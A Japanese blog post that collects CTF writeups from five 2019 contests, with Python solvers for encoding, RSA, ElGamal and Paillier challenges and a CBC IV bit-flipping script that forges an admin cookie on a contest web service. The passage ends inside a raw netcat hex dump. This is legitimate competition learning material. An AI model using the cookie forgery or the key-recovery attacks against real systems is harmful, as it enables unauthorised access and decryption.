SECCON 令和CTF Writeup

この大会は2019/4/30 23:00(JST)~2019/5/1 2:00(JST)に開催されました。
この大会は個人戦。結果は210点で858人中107位でした。
解けた問題をWriteupとして書いておきます。

フラグの例は?(Misc)

問題にフラグが書いてあった。

SECCON{reiwa}

bREInWAck (Misc)

このファイルが添付されている。

令和和和和和和和和和和和和和和和和「令和
和和和和令和和和和令和和和和和和和令和和
和和和和令和和平平平平平成」令和和和。令
和和和和和。成成。。平成成成成。成。令令
和和和和和和和和和和和。令和和。平平平和
和和和。令和和。和和和和。令令和和和和和
和和和和和和和。平平平和和和和和和和和和
和和和和。成成成成成成成成。令成成成成成
成成成。令令。成成成成成。成成成成成成。
令和。平平和和。令令令和和和和和和和和和
和。

問題タイトルから推測しても、Brainfuck言語で、使われている2バイト文字と1:1対応しているようだ。使われている文字の意味と数を考え、以下のように置き換えた。

>++++++++++++++++[>+
++++>++++>+++++++>++
++++>++<<<<<-]>+++.>
+++++.--..<----.-.>>
+++++++++++.>++.<<<+
+++.>++.++++.>>+++++
+++++++.<<<+++++++++
++++.--------.>-----
---.>>.-----.------.
>+.<<++.>>>+++++++++
+.

以下のBrainfuck言語のオンラインインタプリタでこのコードを実行する。
sange.fi

SECCON{bREIn_WAnic!}

零は? (Misc)

ncで接続すると?を含む式が出てくる。式が成り立つ?を求めていくPPCの問題のようだ。99問目と100問目は方程式として成り立っていないので、解なしの場合は0で答えるようにする。

import socket
import re
import sympy

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('zerois-o-reiwa.seccon.jp', 23615))

for i in range(100):
    data = recvuntil(s, '?=')
    formula = data.split('\n')[-2].replace('?', 'x').split('=')[1]
    sol = sympy.solve(formula)
    if len(sol) == 1:
        ans = sol[0]
    else:
        ans = 0
    print data + str(ans)
    s.sendall(str(ans) + '\n')

data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data
SECCON{REIWA_is_not_ZERO_IS}

*CTF 2019 Writeup

この大会は2019/4/27 10:00(JST)~2019/4/29 10:00(JST)に開催されました。
今回もチームで参戦。結果は593点で334チーム中98位でした。
Welcome問題しか解けませんでしたが、
自分で解けた問題をWriteupとして書いておきます。

checkin (Misc)

IRCのfreenodeで#*ctf2019チャネルに入る。

10:41 *topic : welcome to *CTF2019, here is first flag *CTF{welcome} :P
*CTF{welcome}

UUT CTF Writeup

この大会は2019/4/25 22:30(JST)~2019/4/28 22:30(JST)に開催されました。
今回もチームで参戦。結果は1374点で441チーム中15位でした。
自分で解けた問題をWriteupとして書いておきます。

Web WarmUp (Web 10)

HTMLソースにこう書いてあった。

<!-- Flag -->
<p style="color:rgba(255, 0, 0, 0.001);">The Flag is: UUTCTF{P0SCon: Welcome to UUTCTF! Happy hacking ;)}</p>
UUTCTF{P0SCon: Welcome to UUTCTF! Happy hacking ;)}

Solve the Crypto (Crypto 25)

Fermat法でnを素因数分解できるので、そのまま復号する。

from Crypto.PublicKey import RSA
from Crypto.Util.number import *

def isqrt(n):
    x = n
    y = (x + n // x) // 2
    while y < x:
        x = y
        y = (x + n // x) // 2
    return x

def fermat(n):
    x = isqrt(n) + 1
    y = isqrt(x * x - n)
    while True:
        w = x * x - n - y * y
        if w == 0:
            break
        elif w > 0:
            y += 1
        else:
            x += 1
    return x - y, x + y

with open('pub.key', 'r') as f:
    pub_data = f.read()

pubkey = RSA.importKey(pub_data)
n = pubkey.n
e = pubkey.e

with open('enc.message', 'rb') as f:
    c = bytes_to_long(f.read())

p, q = fermat(n)

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)

flag = long_to_bytes(m)
print flag

実行結果は以下の通り。

Nfsタ・"xァリF・オx。縲・゚モ繃E゙碵・jョ哮ウV・イ轄L4ウチ抄[レラ靕農イ籟・メ-Dォ。「ミfuuoク_ーDnエ+μェセ枻ク⊇Mー SGllcl9pc3RfZGVpbmVfRmxhZ2dl

だが、そのままフラグにはならず、最後の方にBase64文字列があるので、デコードする。

$ echo SGllcl9pc3RfZGVpbmVfRmxhZ2dl | base64 -d
Hier_ist_deine_Flagge
UUTCTF{Hier_ist_deine_Flagge}

Break the RSA (Crypto 50)

Fermat法でnを素因数分解できるので、そのまま復号する。

from Crypto.Util.number import *

def isqrt(n):
    x = n
    y = (x + n // x) // 2
    while y < x:
        x = y
        y = (x + n // x) // 2
    return x

def fermat(n):
    x = isqrt(n) + 1
    y = isqrt(x * x - n)
    while True:
        w = x * x - n - y * y
        if w == 0:
            break
        elif w > 0:
            y += 1
        else:
            x += 1
    return x - y, x + y

n = 114869651319530967114595389434126892905129957446815070167640244711056341561089
e = 113
c = 102692755691755898230412269602025019920938225158332080093559205660414585058354

p, q = fermat(n)

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)

flag = long_to_bytes(m)
print flag
UUTCTF{easy sH0Rt RSA!!!}

Find the Word Flag (Forensics 75)

word\document.xmlのスペース数がばらばらで不自然。最大14くらいなので、2つでASCIIコード(16進数2桁)になると予測して、デコードする。

codes = [0x55, 0x55, 0x54, 0x43, 0x54, 0x46, 0x7b, 0x4d, 0x65, 0x61, 0x6e, \
    0x69, 0x6e, 0x67, 0x66, 0x75, 0x6c, 0x47, 0x61, 0x58, 0x73, 0x7d]

flag = ''
for code in codes:
    flag += chr(code)

print flag
UUTCTF{MeaningfulGaXs}

The Criminal (Forensics 150)

pcapファイルが与えられている。NetworkMinerで開き、Filesを見てみる。
No.90296にfl4g.7z.x-7z-compressedがあるので抽出する。この7zファイルはパスワードがかかっている。
No.88888にsecret_password-1024x64.pngがあるので、抽出する。
f:id:satou-y:20190430155343p:plain
ヒントにパスワードは小文字であることが記載されているので、それを念頭に画像に書いてあるパスワードを読み取る。さらに拡大して画像をよく見ると、Dの中の文字はDになっていて、PASSWORDのOの中の文字は0、FORの中の文字はOになっていることに気を付け、パスワードを読み取る。

this_is_th3_s3cr3t_passw0rd_for_flag

このパスワードで通った。解凍し展開したflag.txtにフラグが書いてあった。

UUTCTF{d0_n0t_sav3_pa$$word_in_public}

Blaze CTF 2019 Writeup

この大会は2019/4/21 5:20(JST)~2019/4/26 1:20(JST)に開催されました。
今回もチームで参戦。結果は2520点で250チーム中14位でした。
自分で解けた問題をWriteupとして書いておきます。

Blaze (MISC)

freenodeで#hackerswhoblazeチャネルに入る。

06:13 *topic : BLAZE 4/20 4:20 || blizz it || http://ctf.420blaze.in/ || sftp || https://www.youtube.com/watch?v=1LGDN4HVyQ0 | blaze{}
blaze{}

Hashishe cryptos (CRYPTO)

Elgamal暗号で、暗号処理は以下のようになっている。

y = g**x mod p

c1 = g**r
c2 = m*(y**r)

rにより、c1は固定。c2はmod pの空間の中で、mに比例する。m = 1 を指定したときのC2の何倍かでflagを求める。以下のような計算になる。

c2 = C2 * flag mod p
flag = c2 * inverse(C2, p)
import socket
import re
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('chal.420blaze.in', 42003))

data = recvuntil(s, 'encrypt:\n').rstrip()
print data

pattern = 'p=(.+)\n  g=.+c2=(.+)\n'
m = re.search(pattern, data, re.DOTALL)
p = int(m.group(1))
c2 = int(m.group(2))

print '\x01'
s.sendall('\x01\n')
data = recvuntil(s, 'blaze it').rstrip()
print data

pattern = 'C2=(.+)\n'
m = re.search(pattern, data)
C2 = int(m.group(1))

flag = (c2 * inverse(C2, p)) % p
flag = long_to_bytes(flag)
print flag
blaze{i_wuz_bl4z1n_s0_much_i_r3used_m4h_k3ys}

ångstromCTF 2019 Writeup

この大会は2019/4/20 9:00(JST)~2019/4/25 9:00(JST)に開催されました。
今回もチームで参戦。結果は3180点で1570チーム中14位でした。
自分で解けた問題をWriteupとして書いておきます。

IRC (MISC 10)

freenodeで#angstromctfチャネルに入ると、フラグが書かれていた。

ångstromCTF 2019 | 4/20 - 4/27 @ 00:00 UTC | Ops and Voiced are authors | actf{like_discord_but_worse}
actf{like_discord_but_worse}

Blank Paper (MISC 30)

PDFの先頭4バイトが壊れているので、"%PDF"にして開くと、文章の中にフラグが含まれていた。

actf{knot_very_interesting}

Classy Cipher (CRYPTO 20)

シーザー暗号の拡張版。

def decrypt(e, s):
    d = ''
    for c in e:
        d += chr((ord(c) - s) % 0xff)
    return d

enc = ':<M?TLH8<A:KFBG@V'

s = ord(':') - ord('a')
flag = decrypt(enc, s)
print flag
actf{so_charming}

Really Secure Algorithm (CRYPTO 30)

RSA暗号。p, qがわかっているので、そのまま復号する。

from Crypto.Util.number import *

p = 8337989838551614633430029371803892077156162494012474856684174381868510024755832450406936717727195184311114937042673575494843631977970586746618123352329889
q = 7755060911995462151580541927524289685569492828780752345560845093073545403776129013139174889414744570087561926915046519199304042166351530778365529171009493
e = 65537
c = 7022848098469230958320047471938217952907600532361296142412318653611729265921488278588086423574875352145477376594391159805651080223698576708934993951618464460109422377329972737876060167903857613763294932326619266281725900497427458047861973153012506595691389361443123047595975834017549312356282859235890330349
n = p * q

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)

flag = long_to_bytes(m)
print flag
actf{really_securent_algorithm}

Runes (CRYPTO 70)

Paillier暗号。factordbでnを素因数分解する。

n = 310013024566643256138761337388255591613 * 319848228152346890121384041219876391791

素因数分解できたので、あとはそのまま復号する。

from Crypto.Util.number import *
import gmpy2

def lcm(a, b):
    return (a * b) / gmpy2.gcd(a, b)

def L(u, n):
    return (u - 1) / n

n = 99157116611790833573985267443453374677300242114595736901854871276546481648883
g = 99157116611790833573985267443453374677300242114595736901854871276546481648884
c = 2433283484328067719826123652791700922735828879195114568755579061061723786565164234075183183699826399799223318790711772573290060335232568738641793425546869
p = 310013024566643256138761337388255591613
q = 319848228152346890121384041219876391791

lamda = lcm(p-1, q-1)
mu = L(pow(g, lamda, n**2), n) % n

m = L(pow(c, lamda, n**2), n) * inverse(mu, n) % n
flag = long_to_bytes(m)
print flag
actf{crypto_lives}

Paint (CRYPTO 100)

与えられたスクリプトの概要は以下の通り。

image = flagの数値
palette = 1 << 2048
base = random.randint(0, palette) | 1
secret = random.randint(0, palette)
my_mix = pow(base, secret, palette)

shared = pow(your_mix, secret, palette)
painting = image ^ shared

paletteが2の2048乗なので、2の1乗から順にmodulusを少しずつ増やし、近づいていくような方式でsecretを求める。secretが判明したら、あとはそのままflagを算出して、割り出す。

from Crypto.Util.number import long_to_bytes

palette = 32317006071311007300714876688669951960444102669715484032130345427524655138867890893197201411522913463688717960921898019494119559150490921095088152386448283120630877367300996091750197750389652106796057638384067568276792218642619756161838094338476170470581645852036305042887575891541065808607552399123930385521914333389668342420684974786564569494856176035326322058077805659331026192708460314150258592864177116725943603718461857357598351152301645904403697613233287231227125684710820209725157101726931323469678542580656697935045997268352998638215525166389437335543602135433229604645318478604952148193555853611059596230656
base = 13489305024865487703110255658234329747698118206959778644688156332043783846078839120693894255527894489531905012244713117142764166452312133019772171674466933769775907460046497284522592167536594047800489828714315435570429416637425443402332599055774982796405757075108551322778712959943658831605397635195107786224617525627358659165255604556424206194207190437525742567525338826878962081515333896433312311548844614323540250054093970082337500580573165008440265840792908334486258260848163001490152587781983042546491301026074736907693887630347258892882871059741621049169714319440564952700454580681894452760215968494428411686329
my_mix = 6870295205307030503255600311283969014496436297715066273709495591567561187646528069669895230912327862244474990612611625088862250315706633708998214109152824455738719595737772769297517386968692628228327225922261219083693899105983726637012353264168761696183327692619506267951701511870035935612090359086376808592001973358166067468618577312983514388332736591060901174314042634365304017788649960016991442596975922402288221898367955532116456798868804571091463566329706023967280838744359633963847966790121312196824818606244189274966061324393424041211903396020720341163472399763951106703068172772579049891895580785347369093113
your_mix = 14317253516668543276504878316838097235650210449758621543536146016892160048656997634541093315774403078357942150970695487937570449270120625898199254439189104072891595263513437420116930684308702803055295267600790477195902538538739117809573391251939794413361184343367694928615752045687223262368136262534778688889202144260002584306527206705616186699377315031757095455954292951059462279988296369935635246644221722025457496936215039008069820514166063271894671978845634968761626636993374291118230179892722513818307254406450607168911057458141649111515924404215975886422961651958216688209696158879621701708955382424640000048217
painting = 17665922529512695488143524113273224470194093921285273353477875204196603230641896039854934719468650093602325707751566466034447988065494130102242572713515917910688574332104680867377750329904425039785453961697828887505197701127086732126907914324992806733394244034438537271953062873710421922341053639880387051921552573241651939698279628619278357238684137922164483956735128373164911380749908774512869223017256152942356111845682044048514917460601214157119487675633689081081818805777951203838578632029105960085810547586385599419736400861419214277678792284994133722491622512615732083564207280344459191773058670866354126043620

secret = 0
for i in range(1, 2049):
    for j in range(2):
        if pow(base, secret, 2**i) == (my_mix % (2**i)):
            break
        secret += 2 ** (i - 4)

shared_mix = pow(your_mix, secret, palette)
image = painting ^ shared_mix
flag = long_to_bytes(image)
print flag
actf{powers_of_two_are_not_two_powerful}

Secret Sheep Society (120)

与えられたスクリプトの概要は以下の通り。

■index()
・token = cookieのtoken
・session = tokenのAES復号(JSON)
 -> 'admin'がTrueの場合、フラグ表示

■enter()
・handle = 入力したハンドル名
・session = {'admin': False, 'handle': 'XX'}という形式
 -> JSONダンプ:{"admin": false, "handle": "XX"}
・token = sessionのAES暗号

通常このようなデータが暗号化される。

0123456789abcdef
{"admin": false,
 "handle": "XX"}
PPPPPPPPPPPPPPPP

下記のようにすればよい。暗号本体は変えずに、XORで算出してIVだけ変えれば、この暗号文を作れる。

{"admin": true, 
 "handle": "XX"}
PPPPPPPPPPPPPPPP
import requests
from base64 import b64encode, b64decode

def pad(s):
    c = 16 - len(s) % 16
    return s + chr(c) * c

def str_xor(s1, s2):
    return ''.join(chr(ord(a) ^ ord(b)) for a, b in zip(s1, s2))

url = 'https://secretsheepsociety.2019.chall.actf.co/'

payload = {'handle': 'XX'}
r = requests.post(url + 'enter', data=payload, allow_redirects=False)
token = r.cookies['token']

iv = b64decode(token)[:16]
enc = b64decode(token)[16:]

plain = '{"admin": false,'
new_plain = '{"admin": true, '
new_iv = str_xor(str_xor(plain, iv), new_plain)

new_token = b64encode(new_iv + enc)

cookies = {'token': new_token}
r = requests.get(url, cookies=cookies)
print r.text

実行結果は以下の通り。

<!DOCTYPE html>
<html lang="en">
  <title>Secret Sheep Society</title>
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link rel="stylesheet" href="https://unpkg.com/tachyons/css/tachyons.min.css">
  <body>
    <div class="courier mh4 mh5-m mh7-l mv4">
      <p class="f3">Secret Sheep Society Portal</p>
      <pre>
           __  _
       .-.'  `; `-._  __  _
      (_,         .-:'  `; `-._
    ,'o"(        (_,           )
   (__,-'      ,'o"(            )
      (       (__,-'            )
       `-'._.--._(             )
          |||  |||`-'._.--._.-'
                     |||  |||
      </pre>

        <p style="line-height: 2">
          Welcome, <span class="f6 light-red bg-light-gray ph2 pv1 br2">XX</span>.

            The flag is <span class="f6 mid-gray bg-light-gray ph2 pv1 br2">actf{shep_the_conqueror_slumbers}</span>.

        </p>
        <div class="mv3">
          <form method="post" action="/exit">
            <input class="courier b ph3 pv2 input-reset ba b--black pointer" type="submit" value="Exit">
          </form>
        </div>

    </div>
  </body>
</html>
actf{shep_the_conqueror_slumbers}

WALL-E (CRYPTO 130)

最低でもフラグの後ろに\x00が84バイトある。

aa...aa\x00\x00\x00\x00..\x00
  86           84

以下のように式を変えて計算しやすくする。

m = flag * (256**84)
⇒pow(m, e, n) = pow(flag, e, n) * pow(256**84, e, n)
⇒pow(flag, e, n) = c * inverse(pow(256**84, e, n), n)

pow(flag, e, n) がわかるので、この値にnを足しながら、e乗根を確認し、該当するものを探す。

from Crypto.Util.number import long_to_bytes, inverse
import gmpy

n = 16930533490098193592341875268338741038205464836112117606904075086009220456281348541825239348922340771982668304609839919714900815429989903238980995651506801223966153299092163805895061846586943843402382398048697158458017696120659704031304155071717980681280735059759239823752407134078600922884956042774012460082427687595370305553669279649079979451317522908818275946004224509637278839696644435502488800296253302309479834551923862247827826150368412526870932677430329200284984145938907415715817446807045958350179492654072137889859861558737138356897740471740801040559205563042789209526133114839452676031855075611266153108409
e = 3
c = 11517346521350511968078082236628354270939363562359338628104189053516869171468429130280219507678669249746227256625771360798579618712012428887882896227522052222656646536694635021145269394726332158046739239080891813226092060005024523599517854343024406506186025829868533799026231811239816891319566880015622494533461653189752596749235331065273556793035000698955959016688177480102004337980417906733597189524580640648702223430440368954613314994218791688337730722144627325417358973332458080507250983131615055175113690064940592354460257487958530863702022217749857014952140922260404696268641696045086730674980684704510707326989

c2 = c * inverse(pow(256**84, e, n), n) % n

i = 1
while True:
    m = gmpy.root(c2, e)[0]
    if pow(m, e) == c2:
        break
    c2 += n
    i += 1

flag = long_to_bytes(m).rstrip('\x00')
print flag
actf{bad_padding_makes_u_very_sadding_even_if_u_add_words_just_for_the_sake_of_adding}

Lattice ZKP (CRYPTO 150)

$ nc 54.159.113.26 19003

    __      __  __  _                    __       
   / /___ _/ /_/ /_(_)_______     ____  / /______ 
  / / __ `/ __/ __/ / ___/ _ \   /_  / / //_/ __ \
 / / /_/ / /_/ /_/ / /__/  __/    / /_/ ,< / /_/ /
/_/\__,_/\__/\__/_/\___/\___/    /___/_/|_/ .___/ 
                                         /_/      
Query until you are convinced that I know s, where
b = A*s + e

A*r + e: 308209fe0202676402024d3b020219ae02027a860202599c020223ef02020e700202067b02025f3802021d9a02025e6f02025bdb02026a3102026a0102025f5f0202247502022d1e020201b30202233b0202229e02024aed02024cca02020fdb02021273020273dd0202399f0202767402023f0b0202468b020245bf020206ad0202557002022a4402022e340202678d02027548020221690202508e02026a75020216180202107102021d17020213a802026728020225e20202396202024ad202023f8e02025a7d02025f7b02022f6902020b3a020252d002023e9602023aaa02026e4502022d0f0202045502024d40020246ef020231860202767702027cba0202461602024b8402021c33020219c802022947020248c80202643e020232960202034b02024e210202343402027827020244b7020274f902026782020232290202203d020214b702025e9f020242e102022939020202d802027a31020244ed02025f1702025b9102025a0c02022da702027aa1020254de02020bb202024bf60202085c0202647b0202538d02025ea2020238a30202746802024aba0202059702026893020216190202703d0202199f02023d26020223a002023b4c0202109c020267ec02027670020245d1020268770202423b0202634f0202793e02021884020238a00202451f02022635020243e302020eb30202182b02022be30202550d02021b7d02025e8b020258a40202190a020205f802026e8902021df0020221e902022a900202717b02025040020212a802022f12020256a502021543020213de02022cff0202198a02026d560202176502027f24020231e5020236400202617e020252e60202770b0202237e02015a020207cc02020fef02023ff902020b71020203b10202449302025e1e020224b5020233e702024a4502024f9f02025aab0202433b02025b2c0202207b0202166d02023c52020275f902022f420202791d020247c20202100d0202162c02022b5b02020c2f0202055502027078020267210202213902020d7b02023a0a020224410202307c020271f202023be402022fae0202691e02023ac00202455a02024ac002025a300202509b020251af020241d202027c660202483102025c4002021076020203a10202758c02027ebf02024aaa0202176a020264100202369902026d89020262540202180c02025577020276260202240202027fb802020f0d02027375020253f70202438702024dce020276c502027f8a0202258502025ec102024ce502027022020255a30202409502024e1902025f4402023c4a020266d90202134c02021bfd0202642102026678020214d9020202a90202039602022c50020239aa020259de02026ef2020265430202377602020959020276c702021d2202021fbd0202674e020269dd020257d702025feb0202551c02020b88020201f70202686702022c0302026364020215e402024a7002020ed6020275a40202546a02027c450202776b02021c54020224c90202062a020213a202026b740202012102025c89020230b5020201aa020213b4020217bb02024f0202023ff402024c40020233950202270102023b6702027e2a02025f780202100602026140020221f90202118902025901020229f60202334102022b0d02022c7c020240cf02023d5202023a89020254c302021d6602022b20020254ed020250b10202644d02026aa602026b92020219a302025f6902026e1b0202083402020a3802025c9902023dc702025bea02026fb802023bae020248b7020206e8020279470202796c02023c9002021a7402022aee020267ea020267f502023d68020211c70202370802021020020261e802021e9c020257ca02024cf202021fac0202028c02021c9402026eb9020244f302026a2202026b9f0202224d02023d260202529002021c310202408002021b21020243d80202186c0202029c02021d6c020238400202678b0202456302022c19020211d402024e6f020253e6020276480202640e02020265020231f50202341202024bf20202787f02023dc002027919020202ee02023f9402023c9202023ada020221a9020272e302025023020277a2020256b6020269dc020204ac0202643f020232c602020fc80202475f02023d73020215e402023c8602026fbc02024345020201c90202322d020229230202522302022b260202164402022af702025b9402020b2602020cf00202532802026c820202209f02022a2f02021cb002024f1202027acb020215c9020266cb020266d3020245be0202099b02027deb02027a5302020b7b02023d4e02025cfc0202438702022fbd0202540d0202312102027e5f020140020262ec020223cd020202c602027f77020221600202332302027ec802021e3602025c600202594302022fef020236f802023cf80202291602026b6a02023b39020237a5020232b2020257170202414102023d520202283b020274a502025f3a0202388f02022c7b020207290202723f0202454c0202289e02027ef0020226e00202251502027ab6020222170202090302022d8d020259fa02025c38020279c302021ffe020255af02027dd1020212b40202398e0202373202023c6b020261be020278e302020af1020222470202738302027eb00202178202025f010202752002021ee3020206e402027a5402020325020218cd02021d8502022e7e020227790202589002026c71020242a8020204e202025cad0202512d020271c202027f6802026d3002024196020223df020248560202667902024c58020260e4020207db02024a3e020209be020248be02024c6c0202169a020247280202528a0202774602027d1b02026944020246e2020239f40202226e02027e4e02022fe50202653502022ca702021afd02021f0702021221020276fc0202453002021bc6020232a2020245df020253c002021c4c020240780202197c02021411020250ba02022cd202020e5d0202080002027e3f020234a0020228760202786c020256db0202053f02020ae70202453e02022d2802024ea50202202002020ed7020253100202074b02023b3402025bd502021f7d02024857020215540202202102026db402027a4c020238560202265f020271d002027dcb0202294d02026a64020210950202697f020242a602022edf02023873020265bd02027e4c020213a9020234cf020232ad020226b602025fe002025d5f020256b2020253a60202336d02024dd602023da7020260c702021aa1020264b2020254110202221902021c900202384e02024eab020259990202642f0202292e0202026b0202029e0202138f02027bc10202178e0202757902027c6c02025ef40202195102022dd1020231870202592b020270e00202057402023a14020218490202487f02027d4902022dd7020221f402021a4d0202753e02022c15020238d202021e3f02023b9202020c3702020a7902022651020273a902026b5602024573020277350202042302027ab6020239100202609f020264450202552002021da7020242a50202769202022311020271b8020249d702026f87020271dd02023ab2020239d2
[0] r
[1] r+s
Choice: 0
r: 308209fe02022f35020273a602022c9b0202265102026d6702022212020273ab0202784502024c25020229b5020237c602027c20020238330202025b02021f3c02022f990202566702021c7602025886020237190202405902024ffa02024c5c02023e1702027b640202501d02022cd902027d3702023a2f020266bc0202669c020259570202624f020231230202679f02021bc6020222cd02026b8d02021ac60202714d020223f60202256f020276170202565e02025bb90202761e020210de02025e0a0202623002022d8902020884020237f4020226f1020207a8020207c702022f940202149802027ad302020485020244320202792b020257a202025b3f02024dd202023214020231da0202320602023ecb02027f4102027d53020221df020244eb02021a2b020232da020244a402021fcc020273960202337e02026dc80202599502025249020258b8020273a1020247f002025c890202785e020227dc02022f5a02020d9102023cae02022f93020244d202025c3202020da602020e8702020b0e020237b202022bc402023dc002026b89020225060202642e0202120f020225ff0202097d0202124402024fd6020239a502021b75020231ae02026dd00202225702027326020204f80202587b020231d502026e0002024ddb020219450202138602021b9f020247cc02022ff402026052020256a5020236ca020279d40202405a0202141902027b2b0202577b020247a902022cd302027fd702020b9b02027ffe02025c3b02023ccb02024f3e02023afa0202686002020f6102026c3702027ee60202330d020278ea0202232702021db10202184c0202194702023f5902027ab40202128602023ba00202780b02025345020238690202651d0202493102022879020252cc02025de1020228e702022c2c020274cd020277ab0202393902026f4f020273d90202664402026b7e020220260202531c0202718d020236dd02023f3c02022037020217d7020216840202128b0202553602025b780202743602024c71020229e102025fc202026a3802021c6f0202637402026e1c02020b34020213f2020212ee02022852020215a902024d8102021b02020208a102022c3b0202690502020a5902020227020231430202349d02020ee7020231f002020d7b0202181402026e1d02024e360202163902023e050202230102025ded0202319f02022b85020211aa02027692020226c302021a3702020273020210dd020258b50202028c02024be6020272ef02020741020231e50202455b02022fdf02026d9002023de3020216c502026a840202282f020239b0020227f1020240a70202165e02023d3c0202162902022e4c02022f7702021b6602026df7020252bf02021d1a0202212c02027f78020207ab02024279020259e702021aac02022dc702024f010202542e020239d6020270ef0202579d0202291202023b9502022e28020222c502024b71020255ea02022c5f020206f602026cca020279f202022e490202226502022df9020254940202410302027ac80202398d020243a502025fde0202062102024d6102023b100202668402021c9b0202147602024ad002024d7002026948020271f602023e2502026ce902027c43020257be02025a9d02023ba6020257e40202523a020241760202300c020234f202020ab30202310b0202372402022450020202dd0202764d02027c6b0202287e02022a67020207810202371602025ff8020213670202466c02020d62020265e0020271b2020262f7020256a60201080202393802020756020237df0202060d02022aaa02027cdf0202151d020252e302024fab02020b240202457e020263ea020278b1020220c90202328e020249440202759602022fb70202729e02026ef702020efc0202553f02020d290202555202023819020265e602026635020216e3020238de02021fa4020254a8020244890202265e020200ae02021d1a020221c50202637d0202657802024c2602022a4a0202566402027baa0202139202025916020226a402022c830202351202024d9202022da602026ca102022f250202766c02027eda020253300202665702021d1802021454020265e9020232740202115302027cc0020221960202187302020428020254f1020246a302027032020209c7020245ff0202594702020fca02022d8102021309020213bf02023e1902020a4a02023fd502020d360202377d02020e7c0202084d0202563602021ad30202330b020259ef0202108f0202336d020238370202670e02022e39020276d402021acf0202470702022c1502024b830202680c020224a2020269db0202565d02025d0d020273030202273402022a970202117902027ffa02026c85020257510202738e02021e47020256c002025c6c020240eb02027902020211b902026264020238f7020232f302021ceb020264720202477c020234750202388a02025b2e0202337502025fc302022110020269140202319602024ea8020264300202468f02022dac02026562020230ce02021ef402024a3802027db002026e680202253a020219c5020249280202760e020247bb0202342d020245530202798c02024b8d02021bb90202703f02026c0b02024e0a020262ae0202689b02021b2a02022d3b02024c9002027574020228ae02021ccb0202160502023e040202441e02025d2b0202149f0202297802024017020171020268b002026b8f020211ba02020a960202125f0202290a020242c40202114002023e850202790902026b7d0202461f0202406e02024016020224bb0202012f020217c9020235ef0202469a0202149302023c8c0202759d02023cff0202571202020e8702020cb10202520e02020f7202021d47020213bd0202257902025f5f020252f9020239a8020279cc020278840202234402021ac002024c50020236d502027778020276a10202286302027d5702022f510202472602022dd10202624102021eb902020e4a02024aba020270fe0202600202025408020279df02025dff02025f3f02022da202023c4e02027be302021140020232a102023c3f0202530e02021b26020212f90202282b020248e002022b16020237ac020275bc02026cd902024547020227ba020229ca02025be802022bb9020259640202675c0202732c020201210202042f020232470202391a02024ad4020209d402020f4f02021b9202025014020258460202050e020204bc02027d9202020c6f020217320202168402020e3402022b7902024d24020212ed02023156020204f402021b8502020d83020240c90202563f02027c1f02023f20020215f5020267f802020270020275bb0202137d0202048f0202343f02022f9502022d0402021d5d020258e102026ea60202429402023461020209d702024af4020274c5020251de020217720202419302021bfd0202608f0202698d0202156302025f9302022078020278360202205502024b8702027acd02024b87020209e1020222fd020204e40202117e02027edb020244a6020215b3020208020202288d0202262b020235f802024c1b02020ebc02023a270202381e

$ nc 54.159.113.26 19003

    __      __  __  _                    __       
   / /___ _/ /_/ /_(_)_______     ____  / /______ 
  / / __ `/ __/ __/ / ___/ _ \   /_  / / //_/ __ \
 / / /_/ / /_/ /_/ / /__/  __/    / /_/ ,< / /_/ /
/_/\__,_/\__/\__/_/\___/\___/    /___/_/|_/ .___/ 
                                         /_/      
Query until you are convinced that I know s, where
b = A*s + e

A*r + e: 308209fe0202676402024d3b020219ae02027a860202599c020223ef02020e700202067b02025f3802021d9a02025e6f02025bdb02026a3102026a0102025f5f0202247502022d1e020201b30202233b0202229e02024aed02024cca02020fdb02021273020273dd0202399f0202767402023f0b0202468b020245bf020206ad0202557002022a4402022e340202678d02027548020221690202508e02026a75020216180202107102021d17020213a802026728020225e20202396202024ad202023f8e02025a7d02025f7b02022f6902020b3a020252d002023e9602023aaa02026e4502022d0f0202045502024d40020246ef020231860202767702027cba0202461602024b8402021c33020219c802022947020248c80202643e020232960202034b02024e210202343402027827020244b7020274f902026782020232290202203d020214b702025e9f020242e102022939020202d802027a31020244ed02025f1702025b9102025a0c02022da702027aa1020254de02020bb202024bf60202085c0202647b0202538d02025ea2020238a30202746802024aba0202059702026893020216190202703d0202199f02023d26020223a002023b4c0202109c020267ec02027670020245d1020268770202423b0202634f0202793e02021884020238a00202451f02022635020243e302020eb30202182b02022be30202550d02021b7d02025e8b020258a40202190a020205f802026e8902021df0020221e902022a900202717b02025040020212a802022f12020256a502021543020213de02022cff0202198a02026d560202176502027f24020231e5020236400202617e020252e60202770b0202237e02015a020207cc02020fef02023ff902020b71020203b10202449302025e1e020224b5020233e702024a4502024f9f02025aab0202433b02025b2c0202207b0202166d02023c52020275f902022f420202791d020247c20202100d0202162c02022b5b02020c2f0202055502027078020267210202213902020d7b02023a0a020224410202307c020271f202023be402022fae0202691e02023ac00202455a02024ac002025a300202509b020251af020241d202027c660202483102025c4002021076020203a10202758c02027ebf02024aaa0202176a020264100202369902026d89020262540202180c02025577020276260202240202027fb802020f0d02027375020253f70202438702024dce020276c502027f8a0202258502025ec102024ce502027022020255a30202409502024e1902025f4402023c4a020266d90202134c02021bfd0202642102026678020214d9020202a90202039602022c50020239aa020259de02026ef2020265430202377602020959020276c702021d2202021fbd0202674e020269dd020257d702025feb0202551c02020b88020201f70202686702022c0302026364020215e402024a7002020ed6020275a40202546a02027c450202776b02021c54020224c90202062a020213a202026b740202012102025c89020230b5020201aa020213b4020217bb02024f0202023ff402024c40020233950202270102023b6702027e2a02025f780202100602026140020221f90202118902025901020229f60202334102022b0d02022c7c020240cf02023d5202023a89020254c302021d6602022b20020254ed020250b10202644d02026aa602026b92020219a302025f6902026e1b0202083402020a3802025c9902023dc702025bea02026fb802023bae020248b7020206e8020279470202796c02023c9002021a7402022aee020267ea020267f502023d68020211c70202370802021020020261e802021e9c020257ca02024cf202021fac0202028c02021c9402026eb9020244f302026a2202026b9f0202224d02023d260202529002021c310202408002021b21020243d80202186c0202029c02021d6c020238400202678b0202456302022c19020211d402024e6